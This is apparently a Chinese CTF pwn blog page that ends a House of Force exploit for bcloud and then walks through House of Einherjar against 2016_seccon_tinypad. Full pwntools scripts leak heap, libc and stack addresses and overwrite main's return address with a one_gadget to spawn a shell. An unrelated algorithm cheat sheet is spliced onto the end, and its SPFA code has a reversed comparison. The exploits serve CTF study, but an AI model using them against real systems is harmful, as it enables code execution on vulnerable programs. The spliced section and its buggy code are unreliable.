one_gadget = [0x3ac3c,0x3ac3e,0x3ac42,0x3ac49,0x5faa5,0x5faa6]
libc = ELF('/home/pwn/tools/glibc-all-in-one/libs/2.23-0ubuntu3_i386/libc-2.23.so')
#buu远程
#one_gadget = [0x3a80c,0x3a80e,0x3a812,0x3a819,0x5f065,0x5f066]
#libc = ELF('../../libc-2.23.so--32')
libc_base = __libc_start_main_addr - libc.sym['__libc_start_main']
onegadget = one_gadget[3] + libc_base

再次编辑chunk__1将puts函数地址改为one_gadget地址,free(chunk_1)执行exeve(“/bin/sh\x00”),获得shell。

1
2
delete(1)
itr()

在这里插入图片描述

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import *
from LibcSearcher import *
context(endian='little',os='linux',arch='i386',log_level='debug') #小端序,linux系统,64位架构,debug
#定义gdb调试函数
def dbg():
gdb.attach(sh)
pause()
#命令简写化
s = lambda data :sh.send(data)
sa = lambda delim,data :sh.sendafter(delim, data)
sl = lambda data :sh.sendline(data)
sla = lambda delim,data :sh.sendlineafter(delim, data)
r = lambda num=4096 :sh.recv(num)
ru = lambda delims, drop=True :sh.recvuntil(delims, drop)
itr = lambda :sh.interactive()
uu32 = lambda data :u32(data.ljust(4,'\0'))
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))

sh = process('./bcloud_bctf_2016')
#sh = remote('node4.buuoj.cn',26937)

elf = ELF('./bcloud_bctf_2016')
puts_plt = elf.plt['puts']
__libc_start_main_got = elf.got['__libc_start_main']
free_got = elf.got['free']
heap_array = 0x0804B120

def add(size,content):
sla('>>','1')
sla('note content:',str(size))
sa('content:',content)

def edit(index,content):
sla('>>','3')
sla('id:',str(index))
sa('content:',content)

def delete(index):
sla('>>','4')
sla('id:',str(index))
def main():
sa('name:','a'*64)
ru('a'*64)
heap_addr = u32(r(4))
lg('heap_addr',heap_addr)
#dbg()
sa('Org:','a'*0x40)
#修改top chunk的size为-10xFFFFFFFF
sla('Host:',p32(0xFFFFFFFF))
top_chunk_addr = heap_addr + 0x48*3-0x8
lg('top_chunk_addr',(top_chunk_addr))
offset = heap_array - (top_chunk_addr +0x8)- 0x8
lg('offset',offset)
add(offset,'') #0
add(0x18,'\n') #1
edit(1,p32(0) + p32(free_got) + p32(__libc_start_main_got) + p32(heap_array + 0x10) + b'\x00'*8)
edit(1,p32(puts_plt) + b'\n')
#泄露__libc_start_main_got的地址
delete(2)
r(1)
__libc_start_main_addr = u32(r(4))
lg('__libc_start_main',__libc_start_main_addr)
#dbg()
'''
libc = LibcSearcher('__libc_start_main',__libc_start_main_addr)
libc_base = __libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libc_base + libc.dump('system')
lg('libc_base',(libc_base))
lg('system_addr',(system_addr))
edit(1,p32(system_addr) + b'\n')
'''
#本地
one_gadget = [0x3ac3c,0x3ac3e,0x3ac42,0x3ac49,0x5faa5,0x5faa6]
libc = ELF('/home/pwn/tools/glibc-all-in-one/libs/2.23-0ubuntu3_i386/libc-2.23.so')
#buu远程
#one_gadget = [0x3a80c,0x3a80e,0x3a812,0x3a819,0x5f065,0x5f066]
#libc = ELF('../../libc-2.23.so--32')
libc_base = __libc_start_main_addr - libc.sym['__libc_start_main']
onegadget = one_gadget[3] + libc_base
edit(1,p32(onegadget) + b'\n')
#getshell
delete(1)
itr()
main()

House of Einherjar

原理

释放堆块时,unlink后向合并堆块,强制使得 malloc 返回一个几乎任意地址的 chunk 。

free 函数中的后向合并核心操作如下

1
2
3
4
5
6
7
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size(p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}

后向合并时,新的 chunk 的位置取决于 chunk_at_offset(p, -((long) prevsize))
在这里插入图片描述

思路1:两个chunk通过后向unlink直接实现任意地址写

假设有两个连续的chunk,我们利用低地址的chunk将高地址 chunk 的 prev_size 写为目标地址与当前地址的差值,free后合并,再malloc,就可以申请到目标地址的chunk,实现任意地址写,但是需要在目的 chunk 附近构造相应的 fake chunk,fake_chunk的size字段,必须和chunk_b的pre_size字段一致,为二者之间的偏移量,从而绕过 unlink 的检测。

思路2:三个chunk通过后向unlink实现double free

1
2
3
4
chunk_0  0xD0    # 堆块大小需要保证释放后不进入tcache bin和fastbin,即存在tcache需要先填满对应的tcache 
chunk_1 0x18 # 堆块大小以8结尾,保证off by null可以覆盖到下一个堆块的prev_inuse
chunk_2 0xD0 # 堆块大小的最后一个字节必须为00,也就是上一个堆块覆盖prev_inuse后不会影响该堆块的大小
chunk_3 0x10 # 堆块大小任意,防止前面的堆块合并到Top chunk中

申请四个chunk,第四个chunk用来将前三个chunk与top chunk隔开(防止free前三个chunk后与top chunk合并),先free(chunk_0),利用off-by-null修改第2个chunk的mem,将第三个chunk的的prev_size修改为前两个chunk大小之和,然后free(chunk_2),将chunk_0,chunk_1,chunk_2合并,之后申请chunk_0大小和chunk_1大小的chunk,再free(chunk_1),free(chunk_5),实际chunk_1和chunk_5是同一个chunk,从而实现double free。

例题:

2016_seccon_tinypad

在这里插入图片描述
img

在这里插入图片描述
运行程序发现有四个功能:增删改退,分别用a,d,e,q进行操作,并且每次进行一次操作,程序会把每个chunk的内容输出出来,根据ida伪代码发现只能最多申请4个chunk
在这里插入图片描述

ida伪代码

主函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rax
int choice; // eax
int v5; // eax
__int64 v6; // rax
size_t v7; // rax
int c; // [rsp+4h] [rbp-1Ch] BYREF
int i; // [rsp+8h] [rbp-18h]
int index; // [rsp+Ch] [rbp-14h]
int v12; // [rsp+10h] [rbp-10h]
int v13; // [rsp+14h] [rbp-Ch]
unsigned __int64 v14; // [rsp+18h] [rbp-8h]

v14 = __readfsqword(0x28u);
v12 = 0;
write_n(&unk_4019F0, 1uLL);
write_n(
" ============================================================================\n"
"// _|_|_|_|_| _|_|_| _| _| _| _| _|_|_| _|_| _|_|_| \\\\\n"
"|| _| _| _|_| _| _| _| _| _| _| _| _| _| ||\n"
"|| _| _| _| _| _| _| _|_|_| _|_|_|_| _| _| ||\n"
"|| _| _| _| _|_| _| _| _| _| _| _| ||\n"
"\\\\ _| _|_|_| _| _| _| _| _| _| _|_|_| //\n"
" ============================================================================\n",
563uLL);
write_n(&unk_4019F0, 1uLL);
do
{
for ( i = 0; i <= 3; ++i )
{
LOBYTE(c) = i + 49;
writeln("+------------------------------------------------------------------------------+\n", 81LL);
write_n(" # INDEX: ", 12uLL);
writeln(&c, 1LL);
write_n(" # CONTENT: ", 12uLL);
if ( *&tinypad[16 * i + 264] )
{
v3 = strlen(*&tinypad[16 * i + 264]);
writeln(*&tinypad[16 * i + 264], v3);
}
writeln(&unk_4019F0, 1LL);
}
index = 0;
choice = getcmd();
v12 = choice;
if ( choice == 68 )
{
write_n("(INDEX)>>> ", 11uLL);
index = read_int();
if ( index <= 0 || index > 4 ) // 只能申请四个chunk
//
{
LABEL_29:
writeln("Invalid index", 13LL);
continue;
}
if ( !*&tinypad[16 * index + 240] )
{
LABEL_31:
writeln("Not used", 8LL);
continue;
}
free(*&tinypad[16 * index + 248]);
*&tinypad[16 * index + 240] = 0LL; // size置为0,头指针未置为0
writeln("\nDeleted.", 9LL); //uaf
}
else if ( choice > 0x44 )
{
if ( choice != 0x45 )
{
if ( choice == 81 )
continue;
LABEL_41:
writeln("No such a command", 17LL);
continue;
}
write_n("(INDEX)>>> ", 11uLL);
index = read_int();
if ( index <= 0 || index > 4 )
goto LABEL_29;
if ( !*&tinypad[16 * index + 240] )
goto LABEL_31;
c = 48;
strcpy(tinypad, *&tinypad[16 * index + 248]);
while ( toupper(c) != 89 )
{
write_n("CONTENT: ", 9uLL);
v6 = strlen(tinypad);
writeln(tinypad, v6);
write_n("(CONTENT)>>> ", 13uLL);
v7 = strlen(*&tinypad[16 * index + 248]);
read_until(tinypad, v7, 10u);
writeln("Is it OK?", 9LL);
write_n("(Y/n)>>> ", 9uLL);
read_until(&c, 1uLL, 10u);
}
strcpy(*&tinypad[16 * index + 248], tinypad);
writeln("\nEdited.", 8LL);
}
else
{
if ( choice != 65 )
goto LABEL_41;
while ( index <= 3 && *&tinypad[16 * index + 256] )
++index;
if ( index == 4 )
{
writeln("No space is left.", 17LL);
}
else
{
v13 = -1;
write_n("(SIZE)>>> ", 10uLL);
v13 = read_int();
if ( v13 <= 0 )
{
v5 = 1;
}
else
{
v5 = v13;
if ( v13 > 0x100 )
v5 = 256;
}
v13 = v5;
*&tinypad[16 * index + 256] = v5;
*&tinypad[16 * index + 264] = malloc(v13);
if ( !*&tinypad[16 * index + 264] )
{
writerrln("[!] No memory is available.", 27LL);
exit(-1);
}
write_n("(CONTENT)>>> ", 13uLL);
read_until(*&tinypad[16 * index + 264], v13, 10u);
writeln("\nAdded.", 7LL);
}
}
}
while ( v12 != 81 );
return 0;
}

add函数

在这里插入图片描述
在这里插入图片描述

1
2
*&tinypad[16 * index + 0x100] = v5;
*&tinypad[16 * index + 264] = malloc(v13);

存在chunk全局数组,起始地址从0x602040+16*0+0x100=0x602140 开始依次存放chunk的size大小和头指针

edit函数

在这里插入图片描述
在这里插入图片描述
该edit函数调用的read_until函数存在off-by-null漏洞

free函数

img
free函数存在uaf漏洞

思路

首先泄露libc和heap地址

利用 house of einherjar 方法在 tinypad 的前0x100字节中伪造 chunk。当我们再次申请时,那么就可以控制4个 memo 的指针和内容了。

这里虽然我们的第一想法可能是直接覆盖 malloc_hook 为 one_gadget 地址,但是,由于当编辑时,程序是利用 strlen 来判读可以读取多少长度,而 malloc_hook 则在初始时为 0。不能覆盖malloc_hook

1
v6 = strlen(tinypad);

可以泄露出environ 的地址,通过gdb调试进而求得存储 main 函数的返回地址的地址,将main 函数的返回地址覆盖为one_gadget来获得shell

利用过程

先把前面的代码写好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# coding=utf-8
from pwn import*
context(endian='little',os='linux',arch='amd64',log_level='debug') #小端序,linux系统,64位架构,debug
sh = process('./tinypad')
libc = ELF('//home/pwn/tools/glibc-all-in-one/libs/2.23-0ubuntu11_amd64/libc-2.23.so')

#命令简写化
s = lambda data :sh.send(data)
sa = lambda delim,data :sh.sendafter(delim, data)
sl = lambda data :sh.sendline(data)
sla = lambda delim,data :sh.sendlineafter(delim, data)
r = lambda num=4096 :sh.recv(num)
ru = lambda delims :sh.recvuntil(delims)
itr = lambda :sh.interactive()
uu32 = lambda data :u32(data.ljust(4,'\0'))
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
#定义gdb调试函数
def dbg():
gdb.attach(sh)
pause()

def add(size, content='a'):
sla('(CMD)>>> ','a')
sla('(SIZE)>>> ',str(size))
sla('(CONTENT)>>> ',content)



def edit(idx, content):
sla('(CMD)>>> ','e')
sla('(INDEX)>>> ',str(idx))
sla('(CONTENT)>>> ',content)
sla('Is it OK?\n','Y')



def free(idx):
sla('(CMD)>>> ','d')
sla('(INDEX)>>> ',str(idx))

def exit():
sla('(CMD)>>> ','Q')

先申请四个chunk,free(3)和free(1),堆块大于0x7f,所以会进入unsorted bin里,chunk是从1开始计数的,此时chunk_1里存放的就是chunk_3的头指针和main_arena+88的地址,chunk_3的头指针前面有两个大小为(0x100+0x10)的chunk,减去(0x100+0x10)*2就是heap的基地址,之后计算出main_arena+88与libc基地址的距离(这个距离是固定的)0x7f19d3ef7b78−0x7f19d3b33000=0x3C4B78

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
add(0x100)
add(0x100)
add(0x100)
add(0x100)

free(3)
free(1)
ru('INDEX: 1')
ru('CONTENT: ')
heapbase = u64(ru('\n')[:-1].ljust(8,b'\x00')) -(0x100+0x10)*2
ru('INDEX: 3')
ru('CONTENT: ')
libcbase = u64(ru('\n')[:-1].ljust(8,b'\x00')) - 0x3C4B78
environ = libc.sym['environ']+libcbase
lg('heapbase',heapbase)
lg('libcbase',libcbase)

dbg()

在这里插入图片描述在这里插入图片描述

在 tinypad 的前0x100字节中伪造 chunk。当我们再次申请时,那么就可以控制4个 memo 的指针和内容了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
add(0x100)
add(0x100)

#dbg()

#四个chunk与top chunk合并
free(4)
free(1)
free(2)
free(3)

#dbg()
#empty now

add(0x100,'a'*0x100)
edit(1,b'a'*0x30+p64(0)+p64(0x41)+p64(0x602070)*2+b'\x00'*0x20+p64(0x40))

#dbg()


free(1)


add(0x10) #1
add(0xf0) #2
add(0x10) #3
add(0x100,'a'*0x100) #4

之后free(1),再申请0x18大小的chunk_1,利用add函数里自定义的read函数的off-by-null,可以将chunk_2的pre_size改为chunk数组附近0x602070处,再次free(2),这样利用House of einherjar,可以将free的 chunk转移到0x602070(chunk_2的头指针)处,就可以0x602040(chunk_1的头指针)处形成我们提前构造好的chunk

1
2
3
4
5
6
7
8
#edit(1,b'a'*0x30+p64(0)+p64(0x41)+p64(0x602070)*2+b'\x00'*0x20+p64(0x40))


free(1)
target = heapbase+0x20-0x602070
add(0x18,b'a'*0x10+p64(target)) #1

dbg()

在这里插入图片描述
再free(2),编辑chunk_4就相当于在0x602040处的chunk开始编辑,将

1
2
3
4
5
free(2)

edit(4,b'a'*0x30+p64(0)+p64(0x101)+p64(main_arena_88)*2)

dbg()

在这里插入图片描述
在这里插入图片描述

再申请0xf0大小的chunk(实际大小为0x100),此时申请的chunk就在0x602070处,而该chunk的mem区域与chunk全局数组起始地址0x602140相差(0x602140-0x602070+0x10)=0xc0,用字符a填充,之后按照chunk size+头指针依次填充全局数组,将chunk_1改为environ地址,chunk2改为0x602148地址(也就是存放environ地址的地址)

1
2
3
4
5
6
7
8
9
10
11
add(0xf0,b'a'*0xc0+p64(0x100)+p64(environ)+p64(0x100)+p64(0x602148))
ru('INDEX: 1')
ru('CONTENT: ')
stack= u64(ru('\n')[:-1].ljust(8,b'\x00'))
target = -0xF0 + stack
lg('stack',stack)
lg('target',target)
#0x7fc7dd85ff38 <environ>: 0x00007ffc91b85d58 0x0000000000000000
#1e:00f0│ 0x7ffc91b85c68 —▸ 0x7fc7dd4b9830 (__libc_start_main+240) ◂— mov edi, eax
# 0x7ffc91b85c68-0x00007ffc91b85d58=-0xF0
dbg()

在这里插入图片描述

泄露出来的chunk_1的内容就是栈地址 stack=0x00007ffc91b85d58,在查看栈区main函数返回地址0x7ffc91b85c68,0x7ffc91b85c68-0x00007ffc91b85d58=-0xF0,所以我们要覆盖的main函数返回地址为target = -0xF0 + stack
在这里插入图片描述
在这里插入图片描述
刚才我们把chunk_2的mem指向了chunk_1的mem指针,编辑chunk_2为target地址,把chunk_1的mem指针改为target地址,这时再次编辑chunk_1为one_gadget地址,就把target地址存放的main函数返回地址改为了exeve(“/bin/sh\x00”),再退出程序,获得shell

1
2
3
4
5
6
edit(2,p64(target))
one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
shell = one_gadget[0] + libcbase
edit(1,p64(shell))
exit()
itr()

在这里插入图片描述

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
# coding=utf-8
from pwn import*
context(endian='little',os='linux',arch='amd64',log_level='debug') #小端序,linux系统,64位架构,debug
sh = process('./tinypad')
libc = ELF('/home/pwn/tools/glibc-all-in-one/libs/2.23-0ubuntu11_amd64/libc-2.23.so')

#命令简写化
s = lambda data :sh.send(data)
sa = lambda delim,data :sh.sendafter(delim, data)
sl = lambda data :sh.sendline(data)
sla = lambda delim,data :sh.sendlineafter(delim, data)
r = lambda num=4096 :sh.recv(num)
ru = lambda delims :sh.recvuntil(delims)
itr = lambda :sh.interactive()
uu32 = lambda data :u32(data.ljust(4,'\0'))
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
#定义gdb调试函数
def dbg():
gdb.attach(sh)
pause()

def add(size, content='a'):
sla('(CMD)>>> ','a')
sla('(SIZE)>>> ',str(size))
sla('(CONTENT)>>> ',content)



def edit(idx, content):
sla('(CMD)>>> ','e')
sla('(INDEX)>>> ',str(idx))
sla('(CONTENT)>>> ',content)
sla('Is it OK?\n','Y')



def free(idx):
sla('(CMD)>>> ','d')
sla('(INDEX)>>> ',str(idx))

def exit():
sla('(CMD)>>> ','Q')

add(0x100)
add(0x100)
add(0x100)
add(0x100)

free(3)
free(1)
ru('INDEX: 1')
ru('CONTENT: ')
heapbase = u64(ru('\n')[:-1].ljust(8,b'\x00')) -(0x100+0x10)*2
ru('INDEX: 3')
ru('CONTENT: ')
main_arena_88 = u64(ru('\n')[:-1].ljust(8,b'\x00'))
libcbase = main_arena_88-0x3C4B78
environ = libc.sym['environ']+libcbase
lg('heapbase',heapbase)
lg('libcbase',libcbase)

#dbg()

add(0x100)
add(0x100)

#dbg()

#四个chunk与top chunk合并
free(4)
free(1)
free(2)
free(3)

#dbg()
#empty now

add(0x100,'a'*0x100)
edit(1,b'a'*0x30+p64(0)+p64(0x41)+p64(0x602070)*2+b'\x00'*0x20+p64(0x40))

#dbg()

free(1)

add(0x10) #1
add(0xf0) #2
add(0x10) #3
add(0x100,'a'*0x100) #4

#dbg()

free(1)

#dbg()

target = heapbase+0x20-0x602070
add(0x18,b'a'*0x10+p64(target)) #1


free(2)

#dbg()

edit(4,b'a'*0x30+p64(0)+p64(0x101)+p64(main_arena_88)*2)

#dbg()

add(0xf0,b'a'*0xc0+p64(0x100)+p64(environ)+p64(0x100)+p64(0x602148))
ru('INDEX: 1')
ru('CONTENT: ')
stack= u64(ru('\n')[:-1].ljust(8,b'\x00'))
target = -0xF0 + stack
lg('stack',stack)
lg('target',target)
#0x7f825ab56f38 <environ>: 0x00007ffe282d8c28 0x0000000000000000
#00:0000│ 0x7ffe282d8b38 —▸ 0x7f825a7b0830 (__libc_start_main+240) ◂— mov edi, eax
# 0x7ffe282d8b38-0x00007ffe282d8c28=-0xF0
#dbg()

edit(2,p64(target))
one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
shell = one_gadget[0] + libcbase
edit(1,p64(shell))
exit()

itr()

救赎

基础知识

1.欧几里得辗转相除法 求解 最大公约数 最小公倍数

1
2
int gcd(int a, int b){return b == 0 ? a : gcd(b, a % b);}
int lcm(int a, int b){return a / gcd(a, b) * b;}

2.求质数

1
2
3
4
5
6
7
/* 判断素数 */
bool isPrime(LL n) {
for (int i = 2; i * i <= n; ++i)
if (n % i == 0)
return false;
return true;
}

3.栈

1
2
3
4
5
6
7
#include <stack>
stack<类型> mystack;
s.empty(); //如果栈为空则返回true, 否则返回false;
s.size(); //返回栈中元素的个数
s.top(); //返回栈顶元素, 但不删除该元素
s.pop(); //弹出栈顶元素, 但不返回其值
s.push(); //将元素压入栈顶

4.队列

1
2
3
4
5
6
7
8
#include <queue>
queue<类型> myqueue;
push() //在队尾插入一个元素
pop() //删除队列第一个元素
size() //返回队列中元素个数
empty() //如果队列空则返回true
front() //返回队列中的第一个元素
back() //返回队列中最后一个元素

5.DFS(深度优先)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int dx[4] = {0,0,-1,1};
int dy[4] = {-1,1,0,0};
int mp[N][N];//存放迷宫
int vis[N][N];//表示是否访问过,初始为flase
void DFS(int x, int y) //x,y是坐标点的位置
{
if(vis[x][y] || (x==n && y==n)) return; //表示已经访问过了或者到达终点,递归的出口
vis[x][y] = true; //表示没有访问过,现在正在访问,置为访问过
for(int i=0; i < 4; i++){ //遍历四个方向,顺序依次是,上下左右
int nx = x + dx[i];
int ny = y + dy[i];
//进行了合法性检验,
//1.首先判断了该点是否越界,即是否在迷宫内 nx > 0 && nx <= n && ny > 0 && ny <= n
//2.然后判断是否访问过 !vis[nx][ny] 未访问过就继续
//3.最后判断是否为路 mp[nx][ny] == '0' 为路就继续
if(nx > 0 && nx <= n && ny > 0 && ny <= n && !vis[nx][ny] && mp[nx][ny] == '0')
dfs(nx,ny);
}
}
//注意!! 应该判断一下起点是否可走

6.BFS(广度优先搜索)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
int X[4]={0, 0, -1, 1};
int Y[4]={-1, 1, 0, 0};
int matrix[N][N]; //存储迷宫信息
int vis[N][N]; //存储每个状态点是否走过

struct node{
int x;
int y;
}Node, top;

bool judge(int xx, int yy)
{
if(xx<0||yy<0||xx>=N||yy>=N) //注意边界
return false;
if(vis[xx][yy]==true||matrix[xx][yy]==0) //下一个点走过或者为墙 0不能走,1能走
return false;
return true;
}


void BFS(int x, int y)
{
queue<node> q;
Node.x=x;
Node.y=y;
q.push(Node); //将起点入队列
while(!q.empty()) //队列不空就扩散
{
top=q.front(); //取出队首元素
int nx=top.x;
int ny=top.y; //从四个方面机进行扩散
if(nx == ex && ny == ey) //找到终点
return top;
for(int i=0; i<4; i++)
{
if(judge(nx+X[i], ny+Y[i])) //检查四个方向,如果有路就进队列
{
Node.x=nx+X[i];
Node.y=ny+Y[i];
q.push(Node);
}
}
ans++; //计数器
vis[nx][ny]=true;
q.pop(); //表示这个点的邻接点已经全部入队列,丢弃这个点
}
}

7.二分模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
/*
作者:FengBOOOOOOOOOOOOOOO
二分模板返回大于x的第一个位置
*/
#include<cstdio>
#include<algorithm>
#include<cstring>
#define N 1005
using namespace std;

int a[N],n,q;

int find(int l,int r,int key)//l为-1,r为数组长度
{
while(l + 1 < r)
{
int mid = l + r>>1;
if(a[mid] <= key)
  l = mid;
else
  r = mid;
}
return r;//返回大于Key的第一个位置
}

int main()
{
int k;
scanf("%d%d",&n,&q);
for(int i = 0; i < n; ++i)
  scanf("%d",&a[i]);
for(int i = 0; i < q; ++i)
{
scanf("%d",&k);
printf("%d\n",find(-1,n,k));
}
}

最短路径问题

1.SPFA最短路径(类似与BFS)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#include <iostream>
#include <string.h>
#include <stdio.h>
#include <algorithm>
#include <queue>
#include <vector>
#define ll long long
#define inf 0x3f3f3f3f
#define pii pair<int, int>
const int mod = 1e9+7;
const int maxn = 2e5+7;
using namespace std;
struct node {int to,w,next;} edge[maxn];
int head[maxn], cnt;
int dis[maxn], vis[maxn];
int n, m, s, t;
struct Spfa
{
void init()
{
memset(head,-1,sizeof(head));
memset(dis,0x3f3f3f3f,sizeof(dis));
memset(vis,0,sizeof(vis));
cnt = 0;
}

void add(int u,int v,int w)
{
edge[cnt].to = v;
edge[cnt].w = w;
edge[cnt].next = head[u];
head[u] = cnt ++;
}

void spfa()
{
dis[s] = 0; vis[s] = 1;
queue <int> Q; Q.push(s);
while(!Q.empty())
{
int now = Q.front();
Q.pop(); vis[now] = 0; //从队列中弹出now , vis[now] 标记为未访问
for(int i = head[now]; i != -1; i = edge[i].next)
{
int v = edge[i].to;
if(dis[v] < dis[now] + edge[i].w)
{
dis[v] = dis[now] + edge[i].w;
if(vis[v]) continue; //如果访问过了(也就是 已经在队列中),就不用再push
vis[v] = 1; Q.push(v);
}
}
}
}
}sp;

int main()
{
while(~scanf("%d%d",&n,&m) && n+m)
{
sp.init();
for(int i = 0; i < m; i++)
{
int u, v, w;
scanf("%d%d%d",&u, &v, &w);
sp.add(u, v, w);
sp.add(v, u, w);
}
s = 1, t = n; //s起点,t终点
sp.spfa();
printf("%d\n", dis[t]);
}
}

2.Dijkstra

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//主要思想一个大循环+两个小循环
void dijkstra(){
int u, minx;
book[S] = 1;
for(int i = 0; i < N; i++){
//dist[]数组初始化,把起始结点S到i结点的距离赋值给diat[i]
dist[i] = v[S][i];
}

for(int i = 0; i < N; i++){//大循环
minx = INT_MAX;
for(int j = 0; j < N; j++){//寻找没有被标记并且最短的路径,并记录此结点
if(!book[j] && minx > dist[j]){
minx = dist[j];
u = j;
}
}
book[u] = 1;
for(int k = 0; k < N; k++){
//如果A到B的距离大于A到C的距离加C到B的距离,那么更新数据
if(!book[k] && dist[k] > dist[u]+v[u][k]){
dist[k] = dist[u]+v[u][k];
}
}
}
}

3.Floyd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//初始化:
for (int i = 1; i <= n; i ++ )
for (int j = 1; j <= n; j ++ )
if (i == j) d[i][j] = 0;
else d[i][j] = INF;

// 算法结束后,d[a][b]表示a到b的最短距离
void floyd()
{
for (int k = 1; k <= n; k ++ )
for (int i = 1; i <= n; i ++ )
for (int j = 1; j <= n; j ++ )
d[i][j] = min(d[i][j], d[i][k] + d[k][j]);
}

0%